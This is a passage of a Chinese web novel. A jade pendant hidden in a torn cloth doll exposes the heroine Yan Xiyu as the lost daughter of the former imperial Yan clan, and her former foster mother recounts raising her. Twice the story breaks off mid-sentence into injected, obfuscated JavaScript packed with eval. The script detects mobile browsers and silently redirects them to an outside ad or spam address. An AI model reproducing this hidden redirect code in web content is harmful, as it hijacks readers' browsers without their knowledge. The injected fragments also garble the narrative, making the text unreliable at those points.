燕惜妤在孙珍娘院子外看见几个小孩,罗采春仲茂等人已经过来了,就连孙珍娘和她的徒弟也在,而且她俩旁边还站着之前觉得熟的那位妇人。 这几人也应该是和她一样,因为听见小孩子的哭声所以出来了解情况的。 燕惜妤扫了周围的人一眼,都是熟悉的人,而羿家影卫都各自站着,看起来不像是被外人吓到了。 “没什么事,”仲茂说,“我一直在院子里站着,没有陌生人出入。” 罗采春也说:“可能是和小满儿闹矛盾了。” “我问问,”燕惜妤单膝跪地蹲着,把哇哇大哭的玉彩圈在怀里,“小玉彩,怎么哭了?” 小玉彩是个不爱说话的娃娃,平时也很少哭。 “燕姐姐,娃娃被小狗咬坏了,”小玉彩把双手攥着的那个丑布偶捧给燕惜妤看。这个丑布偶还是燕惜妤的,她之前拿出来给玉彩玩。 那只咬坏丑布偶的小狗被阿谦抱在怀里,像是知道自己做错了,还小声“汪呜汪呜”地吭吱。 “小狗咬坏了?我看看,”燕惜妤把那丑玩偶拿在手里翻了几下,应该是小狗撕咬时扯开了钱,里面露出好几层又是红色又是金色的绸布。 她在看那丑布偶时,站在孙珍娘身后的妇人脸色变了,整个人还忽然向这边走近了好几步。 不过燕惜妤低着头没留意旁边围观的人,她一手抱起小玉彩,另一只手拿着那个丑布偶:“不哭,姐姐你缝好它,再给小狗缝一个布球。” “好,”小玉彩顿时喜笑颜开。 她抱着小玉彩转身往回走,站在孙珍娘身前的妇人也跟着她往前走,孙珍娘不知她为什么要跟上去,用莫名其妙的眼神看着她。 “燕姑娘,”羿衍椋走过来问,“小玉彩怎么哭了?” 在他身后,还跟着盛珞瑶和燕清淮。 燕惜妤扬了扬手里拿着的丑布偶:“没事,这布偶被小狗咬开了线,我回去缝……”话还没说完,忽然有样东西从布偶开了线的口子里掉了出来。 大家下意识低头去看,从布偶里掉出来的是一块玉佩。 那一直跟着燕惜妤过来的妇人在看见那玉佩时,她的身体忽然颤了一下。 “什么东西?”燕惜妤正要放下抱着的小玉彩去捡起来。 结果羿衍椋和盛珞瑶还有燕清淮三人却同时伸手去捡那玉佩。 燕惜妤一顿,看向脸色突变的三人。 最后把玉佩捡起来的,是燕清淮。 燕惜妤看了眼羿衍椋,在他脸上看到了震惊。 她开口问:“这是什么?” 燕清淮看看她,对她摊开了手心,那块玉佩就在他的手上。 那是一块圆形的白色玉佩,表面润腻而有光泽,正中雕刻着一条有四足的—— 龙? 燕惜妤不能确定,于是她眯着眼睛数了一下爪子。 五爪,是龙。 龙? 这时代,龙代表着皇家,代表着天子。 燕惜妤看看羿衍椋,又去看燕清淮。 燕清淮看着她,伸出另一只手把那块玉佩翻了面。 燕惜妤又眯着眼睛看,上面刻着一个“燕”字。 龙,燕。 前朝皇族。 燕惜妤缓缓瞪大了眼睛:“这东西是谁的?” “我的,”燕清淮五指缓缓用力攥紧玉佩。 这玉佩和玉玺一样,都是燕氏皇族的皇帝所持有。 玉玺现时在大承皇帝的手上,玉佩……他放在了他的女儿身上。 “你的,”燕惜妤看看他,又看看还在她手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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很快,这条小巷里,只剩下像人偶似站着的羿家影卫,和燕惜妤等人。 羿衍椋都清场赶人了,那就代表着这事非同小可。 可是燕惜妤也正懵着。 这丑布偶是她的,却又不是她的,布偶是属于卉童的。 但她也是卉童。 所以说卉童是前朝皇族燕氏的后裔,是眼前这对夫妇正在寻找的女儿? 燕惜妤抬头看看泪流满面的盛珞瑶,又去看强压着情绪的燕清淮,最后看向羿衍椋。 羿衍椋叹了口气,他走到燕清淮和盛珞瑶身边轻声说:“燕叔叔,燕婶婶,此事不宜声张。” “我……我想问清楚,”盛珞瑶双手紧紧攥着手里的襁褓和小肚兜,她注视着燕惜妤,脸上既有欢喜,更多的却是悲伤,话还没说,泪却涌了出来,“姑娘……这玉佩和襁褓是你的吗?” 燕惜妤下意识侧头扫了一眼孙珍娘住的屋子。 孙珍娘的徒弟和她在教坊司时是认识的,孙珍娘应该也知道了这件事。 她们俩人都知道她是教坊司里的卉童,这事隐瞒不了。 可是卉童她…… 燕惜妤张了张嘴,盛珞瑶和燕清淮立即敛住了呼吸,都在等她的一句话。 羿衍椋也在等,他皱着眉,背在手后的手紧攥成了拳头。 燕惜妤却好一会都没说话。 她不能认。 但要是不认,这对找了女儿十八年的父母,以后就永远也找不到他们的女儿了。 可要是认了,对卉童不公平。 这是卉童的父母。 虽然她也是卉童,但她却又不是卉童。 燕惜妤仍然没说话,盛珞瑶却已经哭出了声:“孩子,这玉佩和襁褓是你的吗?” 她的声音凄哀又无助,就连站都快站不稳了。 燕清淮单手紧紧扣着她的肩膀,明明眼中焦灼不安,但却没有开口催促。 “不知道,”燕惜妤脸上扯出一个笑容,“这丑布偶一直在我手上,也许是我的,也许是我捡来的,太久了,我忘了。” 盛珞瑶攥着襁褓的手紧紧压在她自己心口的位置,就好像那里痛的令她说不出话。 燕清淮强压着心中的情绪,看着燕惜妤问:“还记得在什么地方捡的吗?” “仓州,南县,”燕惜妤垂着眼说,“或许你们能在那里找到你们想要的答案。” “好,”燕清淮长出一口气,他把手里一直攥着的玉佩递了过去,“这玉佩……” 燕惜妤却摇头说:“既然是你的玉佩,就还给你吧。” 她说完,对着羿衍椋笑笑:“少将军,我还有事要忙,恕我不能再招待几位了,请海涵。” 燕惜妤说完,抬脚就走。 她和盛珞瑶还有燕清淮擦肩而过,走过羿衍椋身边时,看都不看他一眼。 “燕姑娘,我……”羿衍椋想追过去,但他一出声,燕惜妤走得更快了。 咻一下就进了院子,还把院门给关上了。 128. 第128章 羿衍椋隔着半人高的土院墙看着燕惜妤头也不回地进了屋。 刚才她喊他“少将军”,所以她生气了? 他抿了抿唇,这才转过身来。 燕清淮扶着盛珞瑶,俩人一脸的悲伤,尤其是盛珞瑶,哭的都快站不稳了。 羿衍椋叹了口气:“燕叔叔燕婶婶,我们先上马车再说。” 燕清淮看了看燕惜妤的家,想扶着盛珞瑶上马车。 但盛珞瑶不愿意,她手里还紧紧攥着那襁褓:“清淮,她是我们的女儿!她就是我们的女儿啊!” 燕清淮摇摇头:“她让我们去查,她也在等着一个答案,阿瑶,我们先回去罢。” 盛珞瑶被他强硬地扶上了马车。 羿衍椋让丁和带队回去,羿家影卫护送着马车缓缓驶离小巷。 在经过孙珍娘居住的屋子时,有人打开屋门走了出来。 丁和驾着马车出了屯口,准备拐弯走上官道,忽然有骑着马的影卫上来禀告:“丁管家,后头有位女子一直跟着我们。” 丁和皱眉问:“是什么人?” “是那位燕姑娘的邻居,”影卫回答。 丁和正想告诉羿衍椋,就听马车里面传出羿衍椋的声音:“让人进来。” 这架马车不仅豪华,还很宽敞,两角有柜桌,桌上摆着昂贵的瓷壶瓷杯。 不过刚进了马车的人是头也不敢抬,直接跪趴在羿衍椋面前,头压在自己的手背上:“民妇见过少将军。” “你叫什么名字?跟过来有什么事情要说?”羿衍椋看着她,“你起来说话。” “民妇姓周,原是皇都人氏,”周萃没起来,只是跪着转了个方向,对着盛珞瑶说,“民妇是来找这位夫人的。” 盛珞瑶这时还沉浸在痛苦之中,她看着眼前的人,有气无力地说:“此前我们应当没见过,你寻我是为何事?” 周萃低着头:“夫人手中的那个小布偶,是我亲手缝的。” 她这一句话像是一道惊雷,不只惊到了燕盛二人,也惊到了羿衍椋。 羿衍椋敛着神情看她,而盛珞瑶却是一脸的愕然:“你说什么?!” 燕清淮也一脸震惊地看了过来。 跪着的周萃说:“当初我捡到她时,她身上只有一块玉佩,一件小肚兜和那襁褓,我怕日后她找不到家人,就用襁褓把玉佩包裹着,然后再在外面套上粗布,给她缝了这个小布偶。” “夫君!”盛珞瑶一下子就攥紧了燕清淮的手。 坐着的燕清淮向前探着身体,急切地问:“你口中的她,是谁?你抬起头说。” 羿衍椋也看向周萃。 “就是方才你们找的燕姑娘,”周萃抬起头,脸上的表情像在哭,却又没有流泪,“她是我在皇都捡到的,我怕忘了当时的事,就把捡到她那天的日子时辰,还有地点都用丝线绣在了那襁褓里。” 羿衍椋连忙看向盛珞瑶一直攥在手里的襁褓。 盛珞瑶抖着手去翻看襁褓,燕清淮也低头在找,下一霎他的动作猛地一顿。 盛珞瑶感受到了,颤着声问:“夫君?” 她没问找没找到,只是喊夫君。 燕清淮之前的情绪一直都压抑着,直到这时他看见周萃绣在襁褓里的那两行小字。 正是他的女儿出生的当天,同时也是被偷走的那一天,就连周萃捡到孩子的地址也和他后来查到的一样。 “夫君?”盛珞瑶泪水模糊了双眼,她看不清襁褓上用丝线绣的小字,她只能一声又一声地问燕清淮,“夫君?” “阿瑶,”燕清淮紧紧地握着她的手,沙哑着嗓子说,“她说的信息能对上!” 盛珞瑶听见这句话,整个人猛地一颤,忽然就昏厥了过去。 “阿瑶?!”燕清淮一把抱住她。 “燕婶婶?”羿衍椋连忙从马车上的柜桌里拿出了一个小瓷瓶递给了燕清淮,“燕叔叔,这是醒神香,您放到燕婶鼻子底下即可。” 燕清淮让盛珞瑶靠在他怀中,拔了小瓷瓶的塞子,放在盛珞瑶的鼻子下轻轻晃了几下,盛珞瑶这才慢慢醒了过来。 “阿瑶可好些了?”燕清淮担心地问她。 “夫君!真是我们的女儿!”盛珞瑶一清醒,立即就挣扎着想下马车,“我要回去找她!那是我的女儿啊!我苦苦寻了她十八年!” “阿瑶!你先冷静下来!”燕清淮连忙把她困在怀里,“再等等!” “等什么?!!”盛珞瑶忽然爆发,“那是我们的女儿!我日日夜夜无时无刻都在想着她!不知她是生是死!她还活着啊!你为什么还要我等?!!” “阿瑶阿瑶!你听我说!”燕清淮把盛珞瑶紧紧抱在怀里,没有把疑惑说出来,而是说,“阿瑶,是她不想认我们!” 盛珞瑶瞬间怔住:“她……不愿认我们?” 看她终于冷静下来,羿衍椋在心里松了口气。 他看了燕清淮一眼,然后冷冷地注视着跪着不起的周萃,沉声道:“玉佩和襁褓只能证明你曾见过这么一个人,你又如何能证明燕姑娘就一定是拥有玉佩和襁褓之人。” 盛珞瑶缓缓转头看他,又去看周萃。 燕清淮的眼神也十分凌厉地看向周萃。 周萃脸上的表情很悲楚,她一开口就是哭腔:“她是我一手带大的,她手上有两处与旁人不同的地方,一处是在脚掌,一处是在右边锁骨,从小就有,那是无法用疤痕代替的,你们若真是她的爹娘,你们就该知道是什么。” “有……有两处吗?”盛珞瑶的眼神有一瞬间的茫然,“不是只有一处吗?” 当时稳婆抱着孩子对她说“孩子的左脚掌有九颗痣”,还说那是大贵的象征。 她只记得女儿这一处与旁人不同的地方,并没有第二处。 “夫君!”盛珞瑶立即去看燕清淮,“女儿有两处与旁人不同的痣吗?” 燕清淮点点头:“有,另一处是我把玉佩给女儿戴时,无意中发现的,只是当时看着并不像是痣。” “不是痣,”周萃说,“是印记,随着她长大,印记也长大了些许,记得她六岁时,已有我的小指甲这么大。” 盛珞瑶立即问:“是什么印记?” 周萃没说,只是看着燕清淮说:“大人若不信,你可私下告知夫人那印记像什么,夫人自己去问过燕姑娘便能知晓我说得是真是假。” 盛珞瑶看燕清淮,燕清淮对她点点头。 “那她就是我的女儿啊!”盛珞瑶又哭了出来。 燕清淮握着她的手,眼神凌厉地看着周萃:“她既是你捡来的,为何不上报衙门?是不是你同偷我女儿的贼人是一伙的才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15190656|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不敢去衙门?” 盛珞瑶和羿衍椋立即紧盯着周萃。 “大人,不是民妇不想上报衙门,当时民妇一家正被仇家所迫要连夜离开皇都,等次日发现孩子时,我们已经出了城,也不敢再回头了。” 周萃跪着把前因后果都说了出来。 周萃家的祖业是厨子,她爷她爹都是厨子,她爹娘虽然只生了她一个女儿,但她爹也把厨艺传给了她,还从收的弟子里给她招了上门女婿。 事情的变故就发生在她成亲后的一个月,她代替她爹和夫君一起去富人家里帮助办喜宴,结果那家的纨绔公子看中了她,硬要抢她做妾。 她不同意,她夫君和爹娘自然也不会答应。 但对方有权有势,不仅叫衙门查封了她家的酒肆,还打伤了她爹和夫君,她家实在是投诉无门,只能连夜收拾行囊逃离皇都。 两架驴车,一架坐人,一架装着家当,在天还漆黑着而宵禁刚过时,她家人驾着驴车第一个出了城门,结果在官道上,她听见了婴孩的哭声。 她以为听错了,但还是停下来绕着驴车转了两圈,然后在装着家当的那驴车里发现了在襁褓之中的婴孩。 周萃说到这里,已是泣不成声:“我当她是亲生女儿养大,她喊了我六年娘亲。” 盛珞瑶捂着胸口也直掉眼泪。 “不对,”羿衍椋皱眉说,“方才她在巷子里也看见了你,她不认识你。” 而燕清淮也说:“你说你养大她,又为何只喊了你六年的娘亲?” “我逃去了仓州溍河,之后就一直住在那里,”周萃疚心疾首道,“可六年后,我无意中又撞见之前的仇家,他和白将军是姻亲,在衙门也有认识的人,我实在害怕就带着家人再次逃跑,可是……她不见了,我只在家里找到她的小布偶。” “什么?!”盛珞瑶惊呼出声,“你也没护住她……”这话一出口,她又泣不成声。 她的女儿,俩个娘亲都没能护住她。 “你逃了,没有找她?”羿衍椋盯着周萃。 “我没逃,我让我家人藏去乡下,我装成男人在仓州找她,”周萃说到这,忽然放声痛哭,“我对不住你们,也对不起她,两个月后,我在仓州南县发现了她,她被人牙子卖给了……教坊司。” “啊!”盛珞瑶一声悲号,又昏了过去。 燕清淮抱着她,心中悲痛到连开口说话的力气都没有,他用额头抵着昏过去的盛珞瑶的鬓角,闭着眼睛不想说话。 羿衍椋紧攥着拳头,他咬牙问道:“你没去救她?” “我救不了,”周萃也无力气再哭,她把深埋在心底多年的事说了出来,连跪都跪不稳,瘫坐着摇头,“我真的救不了,救她需要去衙门,我若进了衙门,怕是活不成的,我死了倒无所谓,可她也未必还能活下去。” 羿衍椋压着脾气,颈上青筋凸起,攥紧的拳头重重地砸在柜桌上,把上面的瓷壶都给砸掉下来。 这声响把盛珞瑶惊醒了。 她抓着襁褓的双手紧紧压在自己心口上,仿佛心口破了个大洞般要捂着:“我的女儿啊!” “我救不了她,所以我只能自荐进教坊司当厨娘,但她被拐子喂了药,把之前的所有事情都忘了,她不认得我,”周萃低着头说,“她喊我萃厨娘,再没有喊过我一声娘亲。”